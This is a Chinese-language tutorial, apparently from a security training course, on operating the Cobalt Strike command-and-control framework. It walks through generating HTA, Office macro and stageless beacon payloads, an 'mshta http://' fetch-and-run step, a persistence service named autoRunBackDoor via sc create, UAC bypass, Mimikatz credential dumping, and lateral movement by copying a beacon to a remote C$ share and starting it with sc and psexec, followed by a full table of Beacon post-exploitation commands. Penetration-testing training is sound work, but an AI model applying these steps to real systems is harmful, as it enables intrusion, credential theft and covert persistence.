关于Cobalt Strike的基础操作
基础知识
官方文档:https://www.cobaltstrike.com/aggressor-script/index.html
使用手册翻译版本:https://wbglil.gitbook.io/cobalt-strike/
简介Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。本期“安仔课堂”,ISEC实验室的陈老师带大家实战操作Cobalt Strike神器的使用。
目录
agscript拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
logs目录记录与目标主机的相关信息
update,update.jar用于更新CS
third-party第三方工具
启动服务器
若想修改teamserver端口则直接打开teamserver文件修改-Dcobaltstrike.server_port,端口默认为50050
1sudo ./teamserver
启动客户端Windows下直接打开cobaltstrike.bat文件,填入teamserver的主机,端口和密码,用户名自定义
用户枚举1/names
用户通信1/msg
Listener
Beacon DNS
Beacon HTTP
Beacon HTTPS
Beacon SMB
Beacon TCP
External C2
Foreign HTTP
Foreign HTTPS
Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上,其中包含DNS、HTTP、SMB
Foreign为外部结合的Listener,常用于MSF的结合,一般用来派生会话到MSF
攻击生成hta
HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。HTML Application有三种类型的生成方式,测试发现,只有powershell方式生成的hta文件才能正常执行上线,Executable和VBA方式生成的hta文件执行的时候提示当前页面的脚本发生错误。
攻击=>生成木马=>Hta程序
选择刚刚创建的监听器,方法有3种,这里选择PowerShell
利用web服务在受害者机器上下载恶意文件
攻击=>钓鱼攻击=>文件下载
选择刚刚生成的hta程序
事件会被记录
在受害者机器上运行
1mshta http://
生成office宏攻击=>生成木马=>Office宏木马
选择创建的监听器,弹出使用教程
word开启禁用宏:文件——>选项——>信任中心——>信任中心设置
生成payload攻击=>生成木马=>生成Payload
可以选择各种语言的payload,还能勾选是否为64位程序
生成分阶段木马
Stager是分阶段传送Payload。分阶段的意思是我们生成的Stager马其实是一个小程序,用于从服务器端下载我们真正的shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。如果不需要分阶段的话,可以在C2的扩展文件里面把host_stage选项设置为false。
攻击=>生成木马=>Windows分阶段木马
生成无阶段木马
Stageless是完整的木马,后续不需要再向服务器端请求shellcode。所以使用这种方法生成的木马会比Stager生成的木马体积要大。但是这种木马有助于避免反溯源,因为如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后渗透和横向移动绝大部分是使用的Stageless类型的木马。
Windows Executable(S)相比于Windows Executable,其中包含Beacon的完整payload,不需要阶段性的请求,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存。
攻击=>生成木马=>Windows无阶段木马
注意,生成的Windows Service EXE生成的木马,直接双击是不会返回session的。需要以创建服务的方式启动,才会返回session。
12345678#注意,等号(=)后面要有空格sc create autoRunBackDoor binPath= "cmd.exe /c C:\users\administrator\desktop\cs.exe" start=auto DisplayName=autoRunBackDoor#开启某个系统服务sc start autoRunBackDoor #停止某个系统服务sc stop autoRunBackDoor # 删除某个系统服务sc delete service_name
主机深入Bypass UAC提权
hashdump
Mimikatz获取密码
联动MSF创建Foreign HTTP监听器
MSF使用multi/handler进行监听
渗透测试端口扫描
共享服务横向移动IPC测试
1shell dir \\172.16.35.128\C$
创建SMB Beacon
生成services.exe的Windws无阶段木马
上传到beacon
1upload /root/Desktop/beacon.exe
复制beacon到内网机器
1shell copy beacon.exe \\172.16.35.128\C$\windows\temp
创建beacon服务
1shell sc \\172.16.35.128 creat beacon binpath=c:\windows\temp\beacon.exe
启动beacon服务
1shell sc \\172.16.35.128 start beacon
连接内网机器
1link 172.16.35.128
psexec横向移动
如果内网主机无法访问外网
派生一个Foreign Beacon
1spawn foreign tcp
远程执行beacon
1psexec 172.16.35.128 C$ beacon smb
脚本管理器直接导入cna文件即可
socks4a代理点击SOCKS Server,然后在代理攻击上使用SOCKS4,填上主机和端口即可
停止SOCKS Server
1socks stop
CobaltStrike常见命令12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091BeaconCommands=============== Command Description ------- ----------- browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect Connect to a Beacon peerover TCP covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权 execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 退出beacon getprivs Enable system privileges oncurrent token getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 help 帮助 inject 在特定进程中生成会话 jobkill 杀死一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据应用于此会话 keylogger 键盘记录 kill 结束进程 link Connect to a Beacon peerover a named pipe logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 备注 portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid Set parent PID forspawned post-ex jobs ps 显示进程列表 psexec Use a service to spawn asession on a host psexec_psh Use PowerShell to spawn asession on a host psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz进行传递哈希 pwd 当前目录位置 reg Query the registry rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序(返回输出) runas 以另一个用户权限执行程序 runasadmin 在高权限下执行程序 runu Execute a program underanother PID screenshot 屏幕截图 setenv 设置环境变量 shell cmd执行命令 shinject 将shellcode注入进程 shspawn 生成进程并将shellcode注入其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4代理 socks stop 停止SOCKS4 spawn Spawn a session spawnas Spawn a session as anotheruser spawnto Set executable tospawn processes into spawnu Spawn a session underanother PID ssh 使用ssh连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将一个文件时间戳应用到另一个文件 unlink Disconnect from parentBeacon upload 上传文件 wdigest 使用mimikatz转储明文凭据 winrm 使用WinRM在主机上生成会话 wmi 使用WMI在主机上生成会话 argue 进程参数欺骗
参考渗透测试神器Cobalt Strike使用教程
CobaltStrike使用详解